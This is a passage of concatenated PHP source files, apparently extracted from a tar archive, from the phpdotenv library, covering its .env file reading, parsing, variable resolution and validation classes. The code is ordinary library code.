\Dotenv\Repository\Adapter\WriterInterface $writer * @param \Dotenv\Repository\Adapter\ReaderInterface $reader * * @return void */ public function __construct(WriterInterface $writer, ReaderInterface $reader) { $this->writer = $writer; $this->reader = $reader; $this->loaded = []; } /** * Write to an environment variable, if possible. * * @param non-empty-string $name * @param string $value * * @return bool */ public function write(string $name, string $value) { // Don't overwrite existing environment variables // Ruby's dotenv does this with `ENV[key] ||= value` if ($this->isExternallyDefined($name)) { return false; } // Set the value on the inner writer if (!$this->writer->write($name, $value)) { return false; } // Record that we have loaded the variable $this->loaded[$name] = ''; return true; } /** * Delete an environment variable, if possible. * * @param non-empty-string $name * * @return bool */ public function delete(string $name) { // Don't clear existing environment variables if ($this->isExternallyDefined($name)) { return false; } // Clear the value on the inner writer if (!$this->writer->delete($name)) { return false; } // Leave the variable as fair game unset($this->loaded[$name]); return true; } /** * Determine if the given variable is externally defined. * * That is, is it an "existing" variable. * * @param non-empty-string $name * * @return bool */ private function isExternallyDefined(string $name) { return $this->reader->read($name)->isDefined() && !isset($this->loaded[$name]); } } vlucas/phpdotenv/src/Repository/Adapter/AdapterInterface.php000064400000000532151676714400020323 0ustar00<?php declare(strict_types=1); namespace Dotenv\Repository\Adapter; interface AdapterInterface extends ReaderInterface, WriterInterface { /** * Create a new instance of the adapter, if it is available. * * @return \PhpOption\Option<\Dotenv\Repository\Adapter\AdapterInterface> */ public static function create(); } vlucas/phpdotenv/src/Exception/ExceptionInterface.php000064400000000210151676714400017071 0ustar00<?php declare(strict_types=1); namespace Dotenv\Exception; use Throwable; interface ExceptionInterface extends Throwable { // } vlucas/phpdotenv/src/Exception/InvalidFileException.php000064400000000310151676714400017360 0ustar00<?php declare(strict_types=1); namespace Dotenv\Exception; use InvalidArgumentException; final class InvalidFileException extends InvalidArgumentException implements ExceptionInterface { // } vlucas/phpdotenv/src/Exception/ValidationException.php000064400000000267151676714400017277 0ustar00<?php declare(strict_types=1); namespace Dotenv\Exception; use RuntimeException; final class ValidationException extends RuntimeException implements ExceptionInterface { // } vlucas/phpdotenv/src/Exception/InvalidEncodingException.php000064400000000314151676714400020233 0ustar00<?php declare(strict_types=1); namespace Dotenv\Exception; use InvalidArgumentException; final class InvalidEncodingException extends InvalidArgumentException implements ExceptionInterface { // } vlucas/phpdotenv/src/Exception/InvalidPathException.php000064400000000310151676714400017375 0ustar00<?php declare(strict_types=1); namespace Dotenv\Exception; use InvalidArgumentException; final class InvalidPathException extends InvalidArgumentException implements ExceptionInterface { // } vlucas/phpdotenv/src/Store/StoreBuilder.php000064400000006142151676714400015065 0ustar00<?php declare(strict_types=1); namespace Dotenv\Store; use Dotenv\Store\File\Paths; final class StoreBuilder { /** * The of default name. */ private const DEFAULT_NAME = '.env'; /** * The paths to search within. * * @var string[] */ private $paths; /** * The file names to search for. * * @var string[] */ private $names; /** * Should file loading short circuit? * * @var bool */ private $shortCircuit; /** * The file encoding. * * @var string|null */ private $fileEncoding; /** * Create a new store builder instance. * * @param string[] $paths * @param string[] $names * @param bool $shortCircuit * @param string|null $fileEncoding * * @return void */ private function __construct(array $paths = [], array $names = [], bool $shortCircuit = false, string $fileEncoding = null) { $this->paths = $paths; $this->names = $names; $this->shortCircuit = $shortCircuit; $this->fileEncoding = $fileEncoding; } /** * Create a new store builder instance with no names. * * @return \Dotenv\Store\StoreBuilder */ public static function createWithNoNames() { return new self(); } /** * Create a new store builder instance with the default name. * * @return \Dotenv\Store\StoreBuilder */ public static function createWithDefaultName() { return new self([], [self::DEFAULT_NAME]); } /** * Creates a store builder with the given path added. * * @param string $path * * @return \Dotenv\Store\StoreBuilder */ public function addPath(string $path) { return new self(\array_merge($this->paths, [$path]), $this->names, $this->shortCircuit, $this->fileEncoding); } /** * Creates a store builder with the given name added. * * @param string $name * * @return \Dotenv\Store\StoreBuilder */ public function addName(string $name) { return new self($this->paths, \array_merge($this->names, [$name]), $this->shortCircuit, $this->fileEncoding); } /** * Creates a store builder with short circuit mode enabled. * * @return \Dotenv\Store\StoreBuilder */ public function shortCircuit() { return new self($this->paths, $this->names, true, $this->fileEncoding); } /** * Creates a store builder with the specified file encoding. * * @param string|null $fileEncoding * * @return \Dotenv\Store\StoreBuilder */ public function fileEncoding(string $fileEncoding = null) { return new self($this->paths, $this->names, $this->shortCircuit, $fileEncoding); } /** * Creates a new store instance. * * @return \Dotenv\Store\StoreInterface */ public function make() { return new FileStore( Paths::filePaths($this->paths, $this->names), $this->shortCircuit, $this->fileEncoding ); } } vlucas/phpdotenv/src/Store/StringStore.php000064400000001115151676714400014740 0ustar00<?php declare(strict_types=1); namespace Dotenv\Store; final class StringStore implements StoreInterface { /** * The file content. * * @var string */ private $content; /** * Create a new string store instance. * * @param string $content * * @return void */ public function __construct(string $content) { $this->content = $content; } /** * Read the content of the environment file(s). * * @return string */ public function read() { return $this->content; } } vlucas/phpdotenv/src/Store/FileStore.php000064400000003217151676714400014356 0ustar00<?php declare(strict_types=1); namespace Dotenv\Store; use Dotenv\Exception\InvalidPathException; use Dotenv\Store\File\Reader; final class FileStore implements StoreInterface { /** * The file paths. * * @var string[] */ private $filePaths; /** * Should file loading short circuit? * * @var bool */ private $shortCircuit; /** * The file encoding. * * @var string|null */ private $fileEncoding; /** * Create a new file store instance. * * @param string[] $filePaths * @param bool $shortCircuit * @param string|null $fileEncoding * * @return void */ public function __construct(array $filePaths, bool $shortCircuit, string $fileEncoding = null) { $this->filePaths = $filePaths; $this->shortCircuit = $shortCircuit; $this->fileEncoding = $fileEncoding; } /** * Read the content of the environment file(s). * * @throws \Dotenv\Exception\InvalidEncodingException|\Dotenv\Exception\InvalidPathException * * @return string */ public function read() { if ($this->filePaths === []) { throw new InvalidPathException('At least one environment file path must be provided.'); } $contents = Reader::read($this->filePaths, $this->shortCircuit, $this->fileEncoding); if (\count($contents) > 0) { return \implode("\n", $contents); } throw new InvalidPathException( \sprintf('Unable to read any of the environment file(s) at [%s].', \implode(', ', $this->filePaths)) ); } } vlucas/phpdotenv/src/Store/StoreInterface.php000064400000000474151676714400015401 0ustar00<?php declare(strict_types=1); namespace Dotenv\Store; interface StoreInterface { /** * Read the content of the environment file(s). * * @throws \Dotenv\Exception\InvalidEncodingException|\Dotenv\Exception\InvalidPathException * * @return string */ public function read(); } vlucas/phpdotenv/src/Store/File/Reader.php000064400000004065151676714400014545 0ustar00<?php declare(strict_types=1); namespace Dotenv\Store\File; use Dotenv\Exception\InvalidEncodingException; use Dotenv\Util\Str; use PhpOption\Option; /** * @internal */ final class Reader { /** * This class is a singleton. * * @codeCoverageIgnore * * @return void */ private function __construct() { // } /** * Read the file(s), and return their raw content. * * We provide the file path as the key, and its content as the value. If * short circuit mode is enabled, then the returned array with have length * at most one. File paths that couldn't be read are omitted entirely. * * @param string[] $filePaths * @param bool $shortCircuit * @param string|null $fileEncoding * * @throws \Dotenv\Exception\InvalidEncodingException * * @return array<string,string> */ public static function read(array $filePaths, bool $shortCircuit = true, string $fileEncoding = null) { $output = []; foreach ($filePaths as $filePath) { $content = self::readFromFile($filePath, $fileEncoding); if ($content->isDefined()) { $output[$filePath] = $content->get(); if ($shortCircuit) { break; } } } return $output; } /** * Read the given file. * * @param string $path * @param string|null $encoding * * @throws \Dotenv\Exception\InvalidEncodingException * * @return \PhpOption\Option<string> */ private static function readFromFile(string $path, string $encoding = null) { /** @var Option<string> */ $content = Option::fromValue(@\file_get_contents($path), false); return $content->flatMap(static function (string $content) use ($encoding) { return Str::utf8($content, $encoding)->mapError(static function (string $error) { throw new InvalidEncodingException($error); })->success(); }); } } vlucas/phpdotenv/src/Store/File/Paths.php000064400000001354151676714400014420 0ustar00<?php declare(strict_types=1); namespace Dotenv\Store\File; /** * @internal */ final class Paths { /** * This class is a singleton. * * @codeCoverageIgnore * * @return void */ private function __construct() { // } /** * Returns the full paths to the files. * * @param string[] $paths * @param string[] $names * * @return string[] */ public static function filePaths(array $paths, array $names) { $files = []; foreach ($paths as $path) { foreach ($names as $name) { $files[] = \rtrim($path, \DIRECTORY_SEPARATOR).\DIRECTORY_SEPARATOR.$name; } } return $files; } } vlucas/phpdotenv/src/Loader/Resolver.php000064400000003330151676714400014371 0ustar00<?php declare(strict_types=1); namespace Dotenv\Loader; use Dotenv\Parser\Value; use Dotenv\Repository\RepositoryInterface; use Dotenv\Util\Regex; use Dotenv\Util\Str; use PhpOption\Option; final class Resolver { /** * This class is a singleton. * * @codeCoverageIgnore * * @return void */ private function __construct() { // } /** * Resolve the nested variables in the given value. * * Replaces ${varname} patterns in the allowed positions in the variable * value by an existing environment variable. * * @param \Dotenv\Repository\RepositoryInterface $repository * @param \Dotenv\Parser\Value $value * * @return string */ public static function resolve(RepositoryInterface $repository, Value $value) { return \array_reduce($value->getVars(), static function (string $s, int $i) use ($repository) { return Str::substr($s, 0, $i).self::resolveVariable($repository, Str::substr($s, $i)); }, $value->getChars()); } /** * Resolve a single nested variable. * * @param \Dotenv\Repository\RepositoryInterface $repository * @param string $str * * @return string */ private static function resolveVariable(RepositoryInterface $repository, string $str) { return Regex::replaceCallback( '/\A\${([a-zA-Z0-9_.]+)}/', static function (array $matches) use ($repository) { return Option::fromValue($repository->get($matches[1])) ->getOrElse($matches[0]); }, $str, 1 )->success()->getOrElse($str); } } vlucas/phpdotenv/src/Loader/Loader.php000064400000002642151676714400014003 0ustar00<?php declare(strict_types=1); namespace Dotenv\Loader; use Dotenv\Parser\Entry; use Dotenv\Parser\Value; use Dotenv\Repository\RepositoryInterface; final class Loader implements LoaderInterface { /** * Load the given entries into the repository. * * We'll substitute any nested variables, and send each variable to the * repository, with the effect of actually mutating the environment. * * @param \Dotenv\Repository\RepositoryInterface $repository * @param \Dotenv\Parser\Entry[] $entries * * @return array<string,string|null> */ public function load(RepositoryInterface $repository, array $entries) { return \array_reduce($entries, static function (array $vars, Entry $entry) use ($repository) { $name = $entry->getName(); $value = $entry->getValue()->map(static function (Value $value) use ($repository) { return Resolver::resolve($repository, $value); }); if ($value->isDefined()) { $inner = $value->get(); if ($repository->set($name, $inner)) { return \array_merge($vars, [$name => $inner]); } } else { if ($repository->clear($name)) { return \array_merge($vars, [$name => null]); } } return $vars; }, []); } } vlucas/phpdotenv/src/Loader/LoaderInterface.php000064400000000711151676714400015617 0ustar00<?php declare(strict_types=1); namespace Dotenv\Loader; use Dotenv\Repository\RepositoryInterface; interface LoaderInterface { /** * Load the given entries into the repository. * * @param \Dotenv\Repository\RepositoryInterface $repository * @param \Dotenv\Parser\Entry[] $entries * * @return array<string,string|null> */ public function load(RepositoryInterface $repository, array $entries); } vlucas/phpdotenv/src/Validator.php000064400000012177151676714400013320 0ustar00<?php declare(strict_types=1); namespace Dotenv; use Dotenv\Exception\ValidationException; use Dotenv\Repository\RepositoryInterface; use Dotenv\Util\Regex; use Dotenv\Util\Str; class Validator { /** * The environment repository instance. * * @var \Dotenv\Repository\RepositoryInterface */ private $repository; /** * The variables to validate. * * @var string[] */ private $variables; /** * Create a new validator instance. * * @param \Dotenv\Repository\RepositoryInterface $repository * @param string[] $variables * * @throws \Dotenv\Exception\ValidationException * * @return void */ public function __construct(RepositoryInterface $repository, array $variables) { $this->repository = $repository; $this->variables = $variables; } /** * Assert that each variable is present. * * @throws \Dotenv\Exception\ValidationException * * @return \Dotenv\Validator */ public function required() { return $this->assert( static function (?string $value) { return $value !== null; }, 'is missing' ); } /** * Assert that each variable is not empty. * * @throws \Dotenv\Exception\ValidationException * * @return \Dotenv\Validator */ public function notEmpty() { return $this->assertNullable( static function (string $value) { return Str::len(\trim($value)) > 0; }, 'is empty' ); } /** * Assert that each specified variable is an integer. * * @throws \Dotenv\Exception\ValidationException * * @return \Dotenv\Validator */ public function isInteger() { return $this->assertNullable( static function (string $value) { return \ctype_digit($value); }, 'is not an integer' ); } /** * Assert that each specified variable is a boolean. * * @throws \Dotenv\Exception\ValidationException * * @return \Dotenv\Validator */ public function isBoolean() { return $this->assertNullable( static function (string $value) { if ($value === '') { return false; } return \filter_var($value, \FILTER_VALIDATE_BOOLEAN, \FILTER_NULL_ON_FAILURE) !== null; }, 'is not a boolean' ); } /** * Assert that each variable is amongst the given choices. * * @param string[] $choices * * @throws \Dotenv\Exception\ValidationException * * @return \Dotenv\Validator */ public function allowedValues(array $choices) { return $this->assertNullable( static function (string $value) use ($choices) { return \in_array($value, $choices, true); }, \sprintf('is not one of [%s]', \implode(', ', $choices)) ); } /** * Assert that each variable matches the given regular expression. * * @param string $regex * * @throws \Dotenv\Exception\ValidationException * * @return \Dotenv\Validator */ public function allowedRegexValues(string $regex) { return $this->assertNullable( static function (string $value) use ($regex) { return Regex::matches($regex, $value)->success()->getOrElse(false); }, \sprintf('does not match "%s"', $regex) ); } /** * Assert that the callback returns true for each variable. * * @param callable(?string):bool $callback * @param string $message * * @throws \Dotenv\Exception\ValidationException * * @return \Dotenv\Validator */ public function assert(callable $callback, string $message) { $failing = []; foreach ($this->variables as $variable) { if ($callback($this->repository->get($variable)) === false) { $failing[] = \sprintf('%s %s', $variable, $message); } } if (\count($failing) > 0) { throw new ValidationException(\sprintf( 'One or more environment variables failed assertions: %s.', \implode(', ', $failing) )); } return $this; } /** * Assert that the callback returns true for each variable. * * Skip checking null variable values. * * @param callable(string):bool $callback * @param string $message * * @throws \Dotenv\Exception\ValidationException * * @return \Dotenv\Validator */ public function assertNullable(callable $callback, string $message) { return $this->assert( static function (?string $value) use ($callback) { if ($value === null) { return true; } return $callback($value); }, $message ); } } vlucas/phpdotenv/src/Parser/Parser.php000064400000003323151676714400014054 0ustar00<?php declare(strict_types=1); namespace Dotenv\Parser; use Dotenv\Exception\InvalidFileException; use Dotenv\Util\Regex; use GrahamCampbell\ResultType\Result; use GrahamCampbell\ResultType\Success; final class Parser implements ParserInterface { /** * Parse content into an entry array. * * @param string $content * * @throws \Dotenv\Exception\InvalidFileException * * @return \Dotenv\Parser\Entry[] */ public function parse(string $content) { return Regex::split("/(\r\n|\n|\r)/", $content)->mapError(static function () { return 'Could not split into separate lines.'; })->flatMap(static function (array $lines) { return self::process(Lines::process($lines)); })->mapError(static function (string $error) { throw new InvalidFileException(\sprintf('Failed to parse dotenv file. %s', $error)); })->success()->get(); } /** * Convert the raw entries into proper entries. * * @param string[] $entries * * @return \GrahamCampbell\ResultType\Result<\Dotenv\Parser\Entry[],string> */ private static function process(array $entries) { /** @var \GrahamCampbell\ResultType\Result<\Dotenv\Parser\Entry[],string> */ return \array_reduce($entries, static function (Result $result, string $raw) { return $result->flatMap(static function (array $entries) use ($raw) { return EntryParser::parse($raw)->map(static function (Entry $entry) use ($entries) { /** @var \Dotenv\Parser\Entry[] */ return \array_merge($entries, [$entry]); }); }); }, Success::create([])); } } vlucas/phpdotenv/src/Parser/Lines.php000064400000006113151676714400013672 0ustar00<?php declare(strict_types=1); namespace Dotenv\Parser; use Dotenv\Util\Regex; use Dotenv\Util\Str; final class Lines { /** * This class is a singleton. * * @codeCoverageIgnore * * @return void */ private function __construct() { // } /** * Process the array of lines of environment variables. * * This will produce an array of raw entries, one per variable. * * @param string[] $lines * * @return string[] */ public static function process(array $lines) { $output = []; $multiline = false; $multilineBuffer = []; foreach ($lines as $line) { [$multiline, $line, $multilineBuffer] = self::multilineProcess($multiline, $line, $multilineBuffer); if (!$multiline && !self::isCommentOrWhitespace($line)) { $output[] = $line; } } return $output; } /** * Used to make all multiline variable process. * * @param bool $multiline * @param string $line * @param string[] $buffer * * @return array{bool,string,string[]} */ private static function multilineProcess(bool $multiline, string $line, array $buffer) { $startsOnCurrentLine = $multiline ? false : self::looksLikeMultilineStart($line); // check if $line can be multiline variable if ($startsOnCurrentLine) { $multiline = true; } if ($multiline) { \array_push($buffer, $line); if (self::looksLikeMultilineStop($line, $startsOnCurrentLine)) { $multiline = false; $line = \implode("\n", $buffer); $buffer = []; } } return [$multiline, $line, $buffer]; } /** * Determine if the given line can be the start of a multiline variable. * * @param string $line * * @return bool */ private static function looksLikeMultilineStart(string $line) { return Str::pos($line, '="')->map(static function () use ($line) { return self::looksLikeMultilineStop($line, true) === false; })->getOrElse(false); } /** * Determine if the given line can be the start of a multiline variable. * * @param string $line * @param bool $started * * @return bool */ private static function looksLikeMultilineStop(string $line, bool $started) { if ($line === '"') { return true; } return Regex::occurrences('/(?=([^\\\\]"))/', \str_replace('\\\\', '', $line))->map(static function (int $count) use ($started) { return $started ? $count > 1 : $count >= 1; })->success()->getOrElse(false); } /** * Determine if the line in the file is a comment or whitespace. * * @param string $line * * @return bool */ private static function isCommentOrWhitespace(string $line) { $line = \trim($line); return $line === '' || (isset($line[0]) && $line[0] === '#'); } } vlucas/phpdotenv/src/Parser/Entry.php000064400000001766151676714400013732 0ustar00<?php declare(strict_types=1); namespace Dotenv\Parser; use PhpOption\Option; final class Entry { /** * The entry name. * * @var string */ private $name; /** * The entry value. * * @var \Dotenv\Parser\Value|null */ private $value; /** * Create a new entry instance. * * @param string $name * @param \Dotenv\Parser\Value|null $value * * @return void */ public function __construct(string $name, Value $value = null) { $this->name = $name; $this->value = $value; } /** * Get the entry name. * * @return string */ public function getName() { return $this->name; } /** * Get the entry value. * * @return \PhpOption\Option<\Dotenv\Parser\Value> */ public function getValue() { /** @var \PhpOption\Option<\Dotenv\Parser\Value> */ return Option::fromValue($this->value); } } vlucas/phpdotenv/src/Parser/Lexer.php000064400000002370151676714400013700 0ustar00<?php declare(strict_types=1); namespace Dotenv\Parser; final class Lexer { /** * The regex for each type of token. */ private const PATTERNS = [ '[\r\n]{1,1000}', '[^\S\r\n]{1,1000}', '\\\\', '\'', '"', '\\#', '\\$', '([^(\s\\\\\'"\\#\\$)]|\\(|\\)){1,1000}', ]; /** * This class is a singleton. * * @codeCoverageIgnore * * @return void */ private function __construct() { // } /** * Convert content into a token stream. * * Multibyte string processing is not needed here, and nether is error * handling, for performance reasons. * * @param string $content * * @return \Generator<string> */ public static function lex(string $content) { static $regex; if ($regex === null) { $regex = '(('.\implode(')|(', self::PATTERNS).'))A'; } $offset = 0; while (isset($content[$offset])) { if (!\preg_match($regex, $content, $matches, 0, $offset)) { throw new \Error(\sprintf('Lexer encountered unexpected character [%s].', $content[$offset])); } $offset += \strlen($matches[0]); yield $matches[0]; } } } vlucas/phpdotenv/src/Parser/ParserInterface.php000064400000000516151676714400015676 0ustar00<?php declare(strict_types=1); namespace Dotenv\Parser; interface ParserInterface { /** * Parse content into an entry array. * * @param string $content * * @throws \Dotenv\Exception\InvalidFileException * * @return \Dotenv\Parser\Entry[] */ public function parse(string $content); } vlucas/phpdotenv/src/Parser/EntryParser.php000064400000030240151676714400015074 0ustar00<?php declare(strict_types=1); namespace Dotenv\Parser; use Dotenv\Util\Regex; use Dotenv\Util\Str; use GrahamCampbell\ResultType\Error; use GrahamCampbell\ResultType\Result; use GrahamCampbell\ResultType\Success; final class EntryParser { private const INITIAL_STATE = 0; private const UNQUOTED_STATE = 1; private const SINGLE_QUOTED_STATE = 2; private const DOUBLE_QUOTED_STATE = 3; private const ESCAPE_SEQUENCE_STATE = 4; private const WHITESPACE_STATE = 5; private const COMMENT_STATE = 6; private const REJECT_STATES = [self::SINGLE_QUOTED_STATE, self::DOUBLE_QUOTED_STATE, self::ESCAPE_SEQUENCE_STATE]; /** * This class is a singleton. * * @codeCoverageIgnore * * @return void */ private function __construct() { // } /** * Parse a raw entry into a proper entry. * * That is, turn a raw environment variable entry into a name and possibly * a value. We wrap the answer in a result type. * * @param string $entry * * @return \GrahamCampbell\ResultType\Result<\Dotenv\Parser\Entry,string> */ public static function parse(string $entry) { return self::splitStringIntoParts($entry)->flatMap(static function (array $parts) { [$name, $value] = $parts; return self::parseName($name)->flatMap(static function (string $name) use ($value) { /** @var Result<Value|null,string> */ $parsedValue = $value === null ? Success::create(null) : self::parseValue($value); return $parsedValue->map(static function (?Value $value) use ($name) { return new Entry($name, $value); }); }); }); } /** * Split the compound string into parts. * * @param string $line * * @return \GrahamCampbell\ResultType\Result<array{string,string|null},string> */ private static function splitStringIntoParts(string $line) { /** @var array{string,string|null} */ $result = Str::pos($line, '=')->map(static function () use ($line) { return \array_map('trim', \explode('=', $line, 2)); })->getOrElse([$line, null]); if ($result[0] === '') { /** @var \GrahamCampbell\ResultType\Result<array{string,string|null},string> */ return Error::create(self::getErrorMessage('an unexpected equals', $line)); } /** @var \GrahamCampbell\ResultType\Result<array{string,string|null},string> */ return Success::create($result); } /** * Parse the given variable name. * * That is, strip the optional quotes and leading "export" from the * variable name. We wrap the answer in a result type. * * @param string $name * * @return \GrahamCampbell\ResultType\Result<string,string> */ private static function parseName(string $name) { if (Str::len($name) > 8 && Str::substr($name, 0, 6) === 'export' && \ctype_space(Str::substr($name, 6, 1))) { $name = \ltrim(Str::substr($name, 6)); } if (self::isQuotedName($name)) { $name = Str::substr($name, 1, -1); } if (!self::isValidName($name)) { /** @var \GrahamCampbell\ResultType\Result<string,string> */ return Error::create(self::getErrorMessage('an invalid name', $name)); } /** @var \GrahamCampbell\ResultType\Result<string,string> */ return Success::create($name); } /** * Is the given variable name quoted? * * @param string $name * * @return bool */ private static function isQuotedName(string $name) { if (Str::len($name) < 3) { return false; } $first = Str::substr($name, 0, 1); $last = Str::substr($name, -1, 1); return ($first === '"' && $last === '"') || ($first === '\'' && $last === '\''); } /** * Is the given variable name valid? * * @param string $name * * @return bool */ private static function isValidName(string $name) { return Regex::matches('~(*UTF8)\A[\p{Ll}\p{Lu}\p{M}\p{N}_.]+\z~', $name)->success()->getOrElse(false); } /** * Parse the given variable value. * * This has the effect of stripping quotes and comments, dealing with * special characters, and locating nested variables, but not resolving * them. Formally, we run a finite state automaton with an output tape: a * transducer. We wrap the answer in a result type. * * @param string $value * * @return \GrahamCampbell\ResultType\Result<\Dotenv\Parser\Value,string> */ private static function parseValue(string $value) { if (\trim($value) === '') { /** @var \GrahamCampbell\ResultType\Result<\Dotenv\Parser\Value,string> */ return Success::create(Value::blank()); } return \array_reduce(\iterator_to_array(Lexer::lex($value)), static function (Result $data, string $token) { return $data->flatMap(static function (array $data) use ($token) { return self::processToken($data[1], $token)->map(static function (array $val) use ($data) { return [$data[0]->append($val[0], $val[1]), $val[2]]; }); }); }, Success::create([Value::blank(), self::INITIAL_STATE]))->flatMap(static function (array $result) { /** @psalm-suppress DocblockTypeContradiction */ if (in_array($result[1], self::REJECT_STATES, true)) { /** @var \GrahamCampbell\ResultType\Result<\Dotenv\Parser\Value,string> */ return Error::create('a missing closing quote'); } /** @var \GrahamCampbell\ResultType\Result<\Dotenv\Parser\Value,string> */ return Success::create($result[0]); })->mapError(static function (string $err) use ($value) { return self::getErrorMessage($err, $value); }); } /** * Process the given token. * * @param int $state * @param string $token * * @return \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ private static function processToken(int $state, string $token) { switch ($state) { case self::INITIAL_STATE: if ($token === '\'') { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create(['', false, self::SINGLE_QUOTED_STATE]); } elseif ($token === '"') { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create(['', false, self::DOUBLE_QUOTED_STATE]); } elseif ($token === '#') { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create(['', false, self::COMMENT_STATE]); } elseif ($token === '$') { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create([$token, true, self::UNQUOTED_STATE]); } else { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create([$token, false, self::UNQUOTED_STATE]); } case self::UNQUOTED_STATE: if ($token === '#') { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create(['', false, self::COMMENT_STATE]); } elseif (\ctype_space($token)) { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create(['', false, self::WHITESPACE_STATE]); } elseif ($token === '$') { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create([$token, true, self::UNQUOTED_STATE]); } else { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create([$token, false, self::UNQUOTED_STATE]); } case self::SINGLE_QUOTED_STATE: if ($token === '\'') { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create(['', false, self::WHITESPACE_STATE]); } else { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create([$token, false, self::SINGLE_QUOTED_STATE]); } case self::DOUBLE_QUOTED_STATE: if ($token === '"') { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create(['', false, self::WHITESPACE_STATE]); } elseif ($token === '\\') { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create(['', false, self::ESCAPE_SEQUENCE_STATE]); } elseif ($token === '$') { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create([$token, true, self::DOUBLE_QUOTED_STATE]); } else { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create([$token, false, self::DOUBLE_QUOTED_STATE]); } case self::ESCAPE_SEQUENCE_STATE: if ($token === '"' || $token === '\\') { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create([$token, false, self::DOUBLE_QUOTED_STATE]); } elseif ($token === '$') { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create([$token, false, self::DOUBLE_QUOTED_STATE]); } else { $first = Str::substr($token, 0, 1); if (\in_array($first, ['f', 'n', 'r', 't', 'v'], true)) { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create([\stripcslashes('\\'.$first).Str::substr($token, 1), false, self::DOUBLE_QUOTED_STATE]); } else { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Error::create('an unexpected escape sequence'); } } case self::WHITESPACE_STATE: if ($token === '#') { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create(['', false, self::COMMENT_STATE]); } elseif (!\ctype_space($token)) { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Error::create('unexpected whitespace'); } else { /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create(['', false, self::WHITESPACE_STATE]); } case self::COMMENT_STATE: /** @var \GrahamCampbell\ResultType\Result<array{string,bool,int},string> */ return Success::create(['', false, self::COMMENT_STATE]); default: throw new \Error('Parser entered invalid state.'); } } /** * Generate a friendly error message. * * @param string $cause * @param string $subject * * @return string */ private static function getErrorMessage(string $cause, string $subject) { return \sprintf( 'Encountered %s at [%s].', $cause, \strtok($subject, "\n") ); } } vlucas/phpdotenv/src/Parser/Value.php000064400000003064151676714400013676 0ustar00<?php declare(strict_types=1); namespace Dotenv\Parser; use Dotenv\Util\Str; final class Value { /** * The string representation of the parsed value. * * @var string */ private $chars; /** * The locations of the variables in the value. * * @var int[] */ private $vars; /** * Internal constructor for a value. * * @param string $chars * @param int[] $vars * * @return void */ private function __construct(string $chars, array $vars) { $this->chars = $chars; $this->vars = $vars; } /** * Create an empty value instance. * * @return \Dotenv\Parser\Value */ public static function blank() { return new self('', []); } /** * Create a new value instance, appending the characters. * * @param string $chars * @param bool $var * * @return \Dotenv\Parser\Value */ public function append(string $chars, bool $var) { return new self( $this->chars.$chars, $var ? \array_merge($this->vars, [Str::len($this->chars)]) : $this->vars ); } /** * Get the string representation of the parsed value. * * @return string */ public function getChars() { return $this->chars; } /** * Get the locations of the variables in the value. * * @return int[] */ public function getVars() { $vars = $this->vars; \rsort($vars); return $vars; } } vlucas/phpdotenv/src/Util/Regex.php000064400000006000151676714400013346 0ustar00<?php declare(strict_types=1); namespace Dotenv\Util; use GrahamCampbell\ResultType\Error; use GrahamCampbell\ResultType\Success; /** * @internal */ final class Regex { /** * This class is a singleton. * * @codeCoverageIgnore * * @return void */ private function __construct() { // } /** * Perform a preg match, wrapping up the result. * * @param string $pattern * @param string $subject * * @return \GrahamCampbell\ResultType\Result<bool,string> */ public static function matches(string $pattern, string $subject) { return self::pregAndWrap(static function (string $subject) use ($pattern) { return @\preg_match($pattern, $subject) === 1; }, $subject); } /** * Perform a preg match all, wrapping up the result. * * @param string $pattern * @param string $subject * * @return \GrahamCampbell\ResultType\Result<int,string> */ public static function occurrences(string $pattern, string $subject) { return self::pregAndWrap(static function (string $subject) use ($pattern) { return (int) @\preg_match_all($pattern, $subject); }, $subject); } /** * Perform a preg replace callback, wrapping up the result. * * @param string $pattern * @param callable $callback * @param string $subject * @param int|null $limit * * @return \GrahamCampbell\ResultType\Result<string,string> */ public static function replaceCallback(string $pattern, callable $callback, string $subject, int $limit = null) { return self::pregAndWrap(static function (string $subject) use ($pattern, $callback, $limit) { return (string) @\preg_replace_callback($pattern, $callback, $subject, $limit ?? -1); }, $subject); } /** * Perform a preg split, wrapping up the result. * * @param string $pattern * @param string $subject * * @return \GrahamCampbell\ResultType\Result<string[],string> */ public static function split(string $pattern, string $subject) { return self::pregAndWrap(static function (string $subject) use ($pattern) { /** @var string[] */ return (array) @\preg_split($pattern, $subject); }, $subject); } /** * Perform a preg operation, wrapping up the result. * * @template V * * @param callable(string):V $operation * @param string $subject * * @return \GrahamCampbell\ResultType\Result<V,string> */ private static function pregAndWrap(callable $operation, string $subject) { $result = $operation($subject); if (\preg_last_error() !== \PREG_NO_ERROR) { /** @var \GrahamCampbell\ResultType\Result<V,string> */ return Error::create(\preg_last_error_msg()); } /** @var \GrahamCampbell\ResultType\Result<V,string> */ return Success::create($result); } } vlucas/phpdotenv/src/Util/Str.php000064400000004735151676714400013061 0ustar00<?php declare(strict_types=1); namespace Dotenv\Util; use GrahamCampbell\ResultType\Error; use GrahamCampbell\ResultType\Success; use PhpOption\Option; /** * @internal */ final class Str 